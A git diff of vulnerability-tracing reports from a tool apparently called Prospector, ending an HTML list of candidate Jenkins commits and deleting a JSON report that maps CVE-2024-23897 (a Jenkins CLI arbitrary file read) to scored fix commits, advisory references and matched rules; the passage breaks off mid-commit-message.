    - Added validation of FIPS password length (#8694) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.434 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f9f542bffd9f38189f3c1393475b473f1f0e035e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8694
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Added validation of FIPS password length (#8694) Co-authored-by: Daniel Beck <1831569+daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java - - core/src/main/resources/hudson/security/Messages.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Avoid scrollbar in dropdown popups (page footer, log recorder) (#8704) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.434 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - aedae5bccf9121e0769e683d6641ac34616ae630 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8704
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Avoid scrollbar in dropdown popups (page footer, log recorder) (#8704)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/lib/layout/overflowButton.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency node to v20.10.0 (#8720) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.434 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 33b62b5db5ebe9c2ec70176c1a025359fc322271 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8720
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency node to v20.10.0 (#8720) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency @babel/cli to v7.23.4 (#8716) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.434 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - af941ceaea13f45f525cd877c74e63cf1597a367 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8716
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency @babel/cli to v7.23.4 (#8716) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.426.2 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f0846d9797b85fa3369a267cd8045211314640b7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8666
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty from 10.0.17 to 10.0.18 (#8666) [JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty from 10.0.17 to 10.0.18) (cherry picked from commit d3295776738cb4675161e71c992777b4605991e8)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72009, JENKINS-72200, JENKINS-24947] various fixes and... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.434 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - aad79effa12865395403badd58cef8a56e4860c7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8593
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72009, JENKINS-72200, JENKINS-24947] various fixes and improvements around disk space monitoring (#8593)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/Functions.java - - core/src/main/java/hudson/model/Computer.java - - core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java - - core/src/main/java/hudson/node_monitors/AbstractDiskSpaceMonitor.java - - core/src/main/java/hudson/node_monitors/DiskSpaceMonitor.java - - core/src/main/java/hudson/node_monitors/DiskSpaceMonitorDescriptor.java - - core/src/main/java/hudson/node_monitors/DiskSpaceMonitorNodeProperty.java - - core/src/main/java/hudson/node_monitors/TemporarySpaceMonitor.java - - core/src/main/resources/hudson/model/ComputerSet/configure.jelly - - core/src/main/resources/hudson/model/ComputerSet/index.jelly - - core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config.jelly - - core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/help-freeSpaceThreshold.html - - core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/help-freeSpaceWarningThreshold.html - - core/src/main/resources/hudson/node_monitors/DiskSpaceMonitor/column.jelly - - core/src/main/resources/hudson/node_monitors/DiskSpaceMonitor/help.html - - core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/config.jelly - - core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/config_de.properties - - core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeDiskSpaceThreshold.html - - core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeDiskSpaceWarningThreshold.html - - core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeTempSpaceThreshold.html - - core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeTempSpaceWarningThreshold.html - - core/src/main/resources/hudson/node_monitors/Messages.properties - - core/src/main/resources/hudson/node_monitors/Messages_bg.properties - - core/src/main/resources/hudson/node_monitors/Messages_cs.properties - - core/src/main/resources/hudson/node_monitors/Messages_da.properties - - core/src/main/resources/hudson/node_monitors/Messages_de.properties - - core/src/main/resources/hudson/node_monitors/Messages_es.properties - - core/src/main/resources/hudson/node_monitors/Messages_fr.properties - - core/src/main/resources/hudson/node_monitors/Messages_it.properties - - core/src/main/resources/hudson/node_monitors/Messages_ja.properties - - core/src/main/resources/hudson/node_monitors/Messages_nl.properties - - core/src/main/resources/hudson/node_monitors/Messages_pt_BR.properties - - core/src/main/resources/hudson/node_monitors/Messages_ru.properties - - core/src/main/resources/hudson/node_monitors/Messages_sr.properties - - core/src/main/resources/hudson/node_monitors/Messages_sv_SE.properties - - core/src/main/resources/hudson/node_monitors/Messages_zh_TW.properties - - core/src/main/resources/hudson/node_monitors/TemporarySpaceMonitor/column.jelly - - core/src/main/resources/hudson/node_monitors/TemporarySpaceMonitor/help.html - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: jenkins-2.440.2 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 34f26ca92a45e3db8b2677d42573f4b16c43a507 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0 on `stable-2.440`
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - - core/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Towards 2.440.1 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 8cbb397aa96b9fa3b410e8cfb405b233ac2402a2 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Towards 2.440.1
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .mvn/maven.config - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    -
    -
    -
    -
    - - - - - - - - - - \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.json b/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.json deleted file mode 100644 index 3172d2f88..000000000 --- a/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.json +++ /dev/null @@ -1,20090 +0,0 @@ -{ - "parameters": { - "vulnerability_id": "CVE-2024-23897", - "repository_url": "https://github.com/jenkinsci/jenkins", - "version_interval": "None:2.442", - "use_backend": "always", - "backend_address": "http://backend:8000", - "git_cache": "/data/gitcache", - "limit_candidates": 2000, - "use_llm_repository_url": true, - "enabled_rules": [ - "VULN_ID_IN_MESSAGE", - "XREF_BUG", - "XREF_GH", - "COMMIT_IN_REFERENCE", - "VULN_ID_IN_LINKED_ISSUE", - "CHANGES_RELEVANT_FILES", - "CHANGES_RELEVANT_CODE", - "RELEVANT_WORDS_IN_MESSAGE", - "ADV_KEYWORDS_IN_FILES", - "ADV_KEYWORDS_IN_MSG", - "SEC_KEYWORDS_IN_MESSAGE", - "SEC_KEYWORDS_IN_LINKED_GH", - "SEC_KEYWORDS_IN_LINKED_BUG", - "GITHUB_ISSUE_IN_MESSAGE", - "BUG_IN_MESSAGE", - "COMMIT_HAS_TWINS", - "COMMIT_IS_SECURITY_RELEVANT" - ] - }, - "advisory_record": { - "cve_id": "CVE-2024-23897", - "description": "Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.", - "reserved_timestamp": 1706014011, - "published_timestamp": 1706118742, - "updated_timestamp": 1724084422, - "repository_url": null, - "references": { - "": 48, - "https://access.redhat.com/support/": 15, - "https://access.redhat.com/downloads/": 12, - "https://access.redhat.com/errata/": 9, - "https://access.redhat.com/labs/": 9, - "https://access.redhat.com/management/": 6, - "https://access.redhat.com/": 6, - "https://access.redhat.com/products/red-hat-enterprise-linux/": 6, - "https://access.redhat.com/products/red-hat-openshift-container-platform": 6, - "https://access.redhat.com/products/red-hat-ansible-automation-platform/": 6, - "https://access.redhat.com/products/": 6, - "https://access.redhat.com/documentation": 6, - "https://access.redhat.com/product-life-cycles/": 6, - "https://access.redhat.com/security": 6, - "https://access.redhat.com/security/security-updates/#/security-advisories": 6, - "https://access.redhat.com/security/security-updates/#/cve": 6, - "https://access.redhat.com/support/contact/": 6, - "https://access.redhat.com/downloads/content/package-browser": 3, - "https://catalog.redhat.com/software/containers/explore/": 3, - "https://access.redhat.com/articles/1202803": 3, - "https://access.redhat.com/search/?q=*&p=1&rows=10&documentKind=Solution": 3, - "https://access.redhat.com/search/?q=*&p=1&rows=10&documentKind=Article": 3, - "https://access.redhat.com/documentation/en/red_hat_enterprise_linux": 3, - "https://access.redhat.com/documentation/en/openshift_container_platform": 3, - "https://access.redhat.com/documentation/en/red_hat_ansible_automation_platform": 3, - "https://access.redhat.com/documentation/": 3, - "https://access.redhat.com/security/": 3, - "https://access.redhat.com/security/vulnerabilities": 3, - "https://access.redhat.com/security/data": 3, - "https://access.redhat.com/security/security-updates/#/security-labs": 3, - "https://access.redhat.com/security/updates/backporting/": 3, - "https://access.redhat.com/support/cases/": 3, - "https://access.redhat.com/support/cases/#/troubleshoot": 3, - "https://access.redhat.com/community": 3, - "https://access.redhat.com/community/": 3, - "https://access.redhat.com/discussions/": 3, - "https://access.redhat.com/announcements/": 3, - "https://access.redhat.com/accelerators/": 3, - "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html": 3, - "https://cloud.redhat.com/insights": 3, - "https://access.redhat.com/changeLanguage?language=en": 3, - "https://access.redhat.com/changeLanguage?language=fr": 3, - "https://access.redhat.com/changeLanguage?language=ko": 3, - "https://access.redhat.com/changeLanguage?language=ja": 3, - "https://access.redhat.com/changeLanguage?language=zh_CN": 3, - "https://access.redhat.com/products/red-hat-satellite/": 3, - "https://access.redhat.com/products/red-hat-subscription-management/": 3, - "https://access.redhat.com/products/red-hat-insights/": 3, - "https://access.redhat.com/products/red-hat-openstack-platform/": 3, - "https://access.redhat.com/products/red-hat-openshift-container-platform/": 3, - "https://access.redhat.com/products/red-hat-openshift-ai/": 3, - "https://access.redhat.com/products/openshift-dedicated-red-hat/": 3, - "https://access.redhat.com/products/red-hat-advanced-cluster-security-for-kubernetes/": 3, - "https://access.redhat.com/products/red-hat-advanced-cluster-management-for-kubernetes/": 3, - "https://access.redhat.com/products/red-hat-quay/": 3, - "https://access.redhat.com/products/red-hat-openshift-dev-spaces": 3, - "https://access.redhat.com/products/red-hat-openshift-service-aws": 3, - "https://access.redhat.com/products/red-hat-storage/": 3, - "https://access.redhat.com/products/red-hat-hyperconverged-infrastructure/": 3, - "https://access.redhat.com/products/red-hat-ceph-storage/": 3, - "https://access.redhat.com/products/red-hat-openshift-data-foundation": 3, - "https://access.redhat.com/products/red-hat-runtimes/": 3, - "https://access.redhat.com/products/red-hat-jboss-enterprise-application-platform/": 3, - "https://access.redhat.com/products/red-hat-data-grid/": 3, - "https://access.redhat.com/products/red-hat-jboss-web-server/": 3, - "https://access.redhat.com/products/red-hat-build-of-keycloak/": 3, - "https://access.redhat.com/products/spring-boot/": 3, - "https://access.redhat.com/products/nodejs/": 3, - "https://access.redhat.com/products/quarkus/": 3, - "https://access.redhat.com/products/red-hat-application-foundations/": 3, - "https://access.redhat.com/products/red-hat-fuse/": 3, - "https://access.redhat.com/products/red-hat-amq/": 3, - "https://access.redhat.com/products/red-hat-3scale/": 3, - "https://access.redhat.com/articles/11258": 3, - "https://bugzilla.redhat.com/show_bug.cgi?id=2066479": 3, - "https://bugzilla.redhat.com/show_bug.cgi?id=2135435": 3, - "https://bugzilla.redhat.com/show_bug.cgi?id=2164278": 3, - "https://bugzilla.redhat.com/show_bug.cgi?id=2170039": 3, - "https://bugzilla.redhat.com/show_bug.cgi?id=2170041": 3, - "https://bugzilla.redhat.com/show_bug.cgi?id=2260180": 3, - "https://bugzilla.redhat.com/show_bug.cgi?id=2260182": 3, - "https://access.redhat.com/security/cve/CVE-2022-29599": 3, - "https://access.redhat.com/security/cve/CVE-2022-42889": 3, - "https://access.redhat.com/security/cve/CVE-2023-24422": 3, - "https://access.redhat.com/security/cve/CVE-2023-25761": 3, - "https://access.redhat.com/security/cve/CVE-2023-25762": 3, - "https://access.redhat.com/security/cve/CVE-2024-23897": 3, - "https://access.redhat.com/security/cve/CVE-2024-23898": 3, - "https://access.redhat.com/security/updates/classification/#important": 3, - "https://access.redhat.com/security/team/contact/": 3, - "https://redhat.com/en": 3, - "https://twitter.com/RedHat": 3, - "https://access.redhat.com/management": 3, - "https://access.redhat.com/support": 3, - "https://access.redhat.com/support/customer-service": 3, - "https://access.redhat.com/articles/33844": 3, - "https://access.redhat.com/help/login_assistance": 3, - "https://www.redhat.com/en/trust": 3, - "https://www.redhat.com/en/about/browser-support": 3, - "https://www.redhat.com/en/about/digital-accessibility": 3, - "https://access.redhat.com/recognition/": 3, - "https://access.redhat.com/help/colophon/": 3, - "https://www.redhat.com/": 3, - "http://developers.redhat.com/": 3, - "https://connect.redhat.com/": 3, - "https://cloud.redhat.com/": 3, - "https://access.redhat.com/subscription-value": 3, - "https://www.redhat.com/about/": 3, - "http://jobs.redhat.com": 3, - "https://redhat.com/en/about/company": 3, - "https://redhat.com/en/jobs": 3, - "https://redhat.com/en/events": 3, - "https://redhat.com/en/about/office-locations": 3, - "https://redhat.com/en/contact": 3, - "https://redhat.com/en/blog": 3, - "https://redhat.com/en/about/our-culture/diversity-equity-inclusion": 3, - "https://coolstuff.redhat.com/": 3, - "https://www.redhat.com/en/summit": 3, - "https://redhat.com/en/about/privacy-policy": 3, - "https://redhat.com/en/about/terms-use": 3, - "https://redhat.com/en/about/all-policies-guidelines": 3, - "https://redhat.com/en/about/digital-accessibility": 3, - "https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314": 2, - "https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/": 2, - "http://www.openwall.com/lists/oss-security/2024/01/24/6": 2, - "http://packetstormsecurity.com/files/176839/Jenkins-2.441-LTS-2.426.3-CVE-2024-23897-Scanner.html": 2, - "http://packetstormsecurity.com/files/176840/Jenkins-2.441-LTS-2.426.3-Arbitrary-File-Read.html": 2, - "https://access.redhat.com/errata/RHSA-2024:0776": 2, - "https://access.redhat.com/errata/RHSA-2024:0778": 2, - "https://access.redhat.com/errata/RHSA-2024:0775": 2, - "https://bugzilla.redhat.com/show_bug.cgi?id=1955739": 2, - "https://bugzilla.redhat.com/show_bug.cgi?id=2126789": 2, - "https://bugzilla.redhat.com/show_bug.cgi?id=2222709": 2, - "https://issues.redhat.com/browse/JKNS-271": 2, - "https://issues.redhat.com/browse/JKNS-289": 2, - "https://issues.redhat.com/browse/OCPBUGS-11158": 2, - "https://issues.redhat.com/browse/OCPBUGS-1357": 2, - "https://issues.redhat.com/browse/OCPBUGS-1709": 2, - "https://issues.redhat.com/browse/OCPBUGS-1942": 2, - "https://issues.redhat.com/browse/OCPBUGS-2099": 2, - "https://issues.redhat.com/browse/OCPBUGS-2184": 2, - "https://issues.redhat.com/browse/OCPBUGS-2318": 2, - "https://issues.redhat.com/browse/OCPBUGS-655": 2, - "https://issues.redhat.com/browse/OCPBUGS-710": 2, - "https://access.redhat.com/security/cve/CVE-2021-26291": 2, - "https://access.redhat.com/security/cve/CVE-2022-25857": 2, - "https://access.redhat.com/security/cve/CVE-2023-37946": 2, - "https://bugzilla.redhat.com/show_bug.cgi?id=2177632": 2, - "https://bugzilla.redhat.com/show_bug.cgi?id=2177634": 2, - "https://access.redhat.com/security/cve/CVE-2023-27903": 2, - "https://access.redhat.com/security/cve/CVE-2023-27904": 2, - "https://console.redhat.com/insights/patch/advisories/RHSA-2024:0776": 1, - "https://issues.redhat.com/browse/OCPBUGS-10934": 1, - "https://issues.redhat.com/browse/OCPBUGS-11329": 1, - "https://issues.redhat.com/browse/OCPBUGS-11446": 1, - "https://issues.redhat.com/browse/OCPBUGS-11452": 1, - "https://issues.redhat.com/browse/OCPBUGS-13651": 1, - "https://issues.redhat.com/browse/OCPBUGS-13870": 1, - "https://issues.redhat.com/browse/OCPBUGS-14112": 1, - "https://issues.redhat.com/browse/OCPBUGS-14311": 1, - "https://issues.redhat.com/browse/OCPBUGS-14634": 1, - "https://issues.redhat.com/browse/OCPBUGS-15647": 1, - "https://issues.redhat.com/browse/OCPBUGS-15986": 1, - "https://issues.redhat.com/browse/OCPBUGS-27389": 1, - "https://issues.redhat.com/browse/OCPBUGS-6579": 1, - "https://issues.redhat.com/browse/OCPBUGS-6870": 1, - "https://issues.redhat.com/browse/OCPBUGS-8377": 1, - "https://issues.redhat.com/browse/OCPBUGS-8442": 1, - "https://issues.redhat.com/browse/OCPTOOLS-245": 1, - "https://console.redhat.com/insights/patch/advisories/RHSA-2024:0778": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=1856376": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2107376": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2180530": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2215229": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2222710": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2227788": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2232422": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2232423": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2232425": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2232426": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2236340": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2236341": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2239634": 1, - "https://issues.redhat.com/browse/OCPBUGS-10976": 1, - "https://issues.redhat.com/browse/OCPBUGS-11348": 1, - "https://issues.redhat.com/browse/OCPBUGS-13652": 1, - "https://issues.redhat.com/browse/OCPBUGS-13901": 1, - "https://issues.redhat.com/browse/OCPBUGS-14113": 1, - "https://issues.redhat.com/browse/OCPBUGS-14393": 1, - "https://issues.redhat.com/browse/OCPBUGS-14642": 1, - "https://issues.redhat.com/browse/OCPBUGS-15648": 1, - "https://issues.redhat.com/browse/OCPBUGS-27391": 1, - "https://issues.redhat.com/browse/OCPBUGS-3692": 1, - "https://issues.redhat.com/browse/OCPBUGS-4819": 1, - "https://issues.redhat.com/browse/OCPBUGS-4833": 1, - "https://issues.redhat.com/browse/OCPBUGS-6632": 1, - "https://issues.redhat.com/browse/OCPBUGS-6982": 1, - "https://issues.redhat.com/browse/OCPBUGS-7016": 1, - "https://issues.redhat.com/browse/OCPBUGS-7050": 1, - "https://issues.redhat.com/browse/OCPBUGS-8420": 1, - "https://issues.redhat.com/browse/OCPBUGS-8497": 1, - "https://issues.redhat.com/browse/OCPTOOLS-246": 1, - "https://access.redhat.com/security/cve/CVE-2020-7692": 1, - "https://access.redhat.com/security/cve/CVE-2022-1962": 1, - "https://access.redhat.com/security/cve/CVE-2023-2976": 1, - "https://access.redhat.com/security/cve/CVE-2023-20861": 1, - "https://access.redhat.com/security/cve/CVE-2023-20862": 1, - "https://access.redhat.com/security/cve/CVE-2023-26048": 1, - "https://access.redhat.com/security/cve/CVE-2023-26049": 1, - "https://access.redhat.com/security/cve/CVE-2023-37947": 1, - "https://access.redhat.com/security/cve/CVE-2023-40167": 1, - "https://access.redhat.com/security/cve/CVE-2023-40337": 1, - "https://access.redhat.com/security/cve/CVE-2023-40338": 1, - "https://access.redhat.com/security/cve/CVE-2023-40339": 1, - "https://access.redhat.com/security/cve/CVE-2023-40341": 1, - "https://console.redhat.com/insights/patch/advisories/RHSA-2024:0775": 1, - "https://bugzilla.redhat.com/show_bug.cgi?id=2150009": 1, - "https://issues.redhat.com/browse/OCPBUGS-471": 1, - "https://access.redhat.com/security/cve/CVE-2022-1471": 1 - }, - "affected_products": [ - "CLI", - "LTS", - "Jenkins" - ], - "versions": { - "lessThan": "1.606", - "status": "unaffected", - "version": "0", - "versionType": "maven" - }, - "files": [ - "CLI", - "LTS" - ], - "keywords": [ - "follow", - "read", - "disable", - "parser", - "replace", - "controller", - "path", - "feature", - "attacker", - "argument", - "content", - "character", - "allow", - "jenkins", - "command", - "file", - "system" - ], - "files_extension": [], - "has_fixing_commit": false - }, - "commits": [ - { - "commit_id": "48f0f923d54bc43358e458874a6cf4e42cc875df", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706774285, - "hunks": 11, - "message": "[JENKINS-72532] CLI `-noCertificateCheck` does not work with `-webSocket` (#8852)", - "changed_files": [ - "cli/src/main/java/hudson/cli/CLI.java", - "cli/src/main/java/hudson/cli/CLIConnectionFactory.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8852": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: CLI", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: CLI", - "relevance": 8 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8852", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "a74865391d697f171cdfa977a956e8b96e0b0336", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705425025, - "hunks": 7, - "message": "[SECURITY-3314]", - "changed_files": [ - "core/src/main/java/hudson/cli/CLICommand.java", - "core/src/main/java/hudson/cli/declarative/CLIRegisterer.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "554f03782057c499c49bbb06575f0d28b5200edb" - ] - ], - "tags": [ - "jenkins-2.426.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: CLI", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: command", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "3e876d4c0c14b1a421799a9c69ced6124ad21af4", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705424863, - "hunks": 7, - "message": "[SECURITY-3314] (cherry picked from commit 554f03782057c499c49bbb06575f0d28b5200edb)", - "changed_files": [ - "core/src/main/java/hudson/cli/CLICommand.java", - "core/src/main/java/hudson/cli/declarative/CLIRegisterer.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: CLI", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: command", - "relevance": 4 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "987b147ba2ec0ddb635bb9c862695426b540d06e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704164982, - "hunks": 10, - "message": "[JENKINS-72469] Avoid repeated tool downloads from misconfigured HTTP servers (#8814) * [JENKINS-72469] Avoid repeated tool downloads from misconfigured HTTP servers The Azul Systems content delivery network stopped providing the last-modified header in their URL responses. They only provide the ETag header. Add ETag support to the Jenkins FilePath URL download method so that if ETag is provided, we use the ETag value. If last-modified is provided and matches, we continue to honor it as well. https://issues.jenkins.io/browse/JENKINS-72469 has more details. https://community.jenkins.io/t/job-stuck-on-unpacking-global-jdk-tool/11272 also includes more details. Testing done * Automated test added to FilePathTest for code changes on the controller. The automated test confirms that even without a last-modified value, the later downloads are skipped if a matching ETag is received. The automated test also confirms that download is skipped if OK is received with a matching ETag. No automated test was added to confirm download on the agent because that path is not tested by any of the other test automation of this class. * Interactive test with the Azul Systems JDK installer on the controller. I created a tool installer for the Azul JDK. I verified that before this change it was downloaded each time the job was run. I verified that after the change it was downloaded only once. * Interactive test with the Azul Systems JDK installer on an agent. I created a tool installer for the Azul JDK. I verified that before this change it was downloaded each time the job was run. I verified that after the change it was downloaded only once. * Interactive test on the controller with a file download from an NGINX web server confirmed that the tool is downloaded once and then later runs of the job did not download the file again. * Use equals instead of contains to check ETag Don't risk that a substring of an earlier ETag might cause a later ETag to incorrectly assume it does not need to download a modified installer. * Use weak comparison for ETag values https://httpwg.org/specs/rfc9110.html#field.etag describes weak comparison cases and notes that content providers may provide weak or strong entity tags. Updated code to correctly compare weak and strong entity tags. Also improves the null checks based on the suggestions from @mawinter69 in https://github.com/jenkinsci/jenkins/pull/8814#discussion_r1438909824 * Test comparison of weak and strong validators * Do not duplicate test args, more readable * Use better variable names in test Cover more branches in the equalEtags method as well * Fix variable declaration order (cherry picked from commit 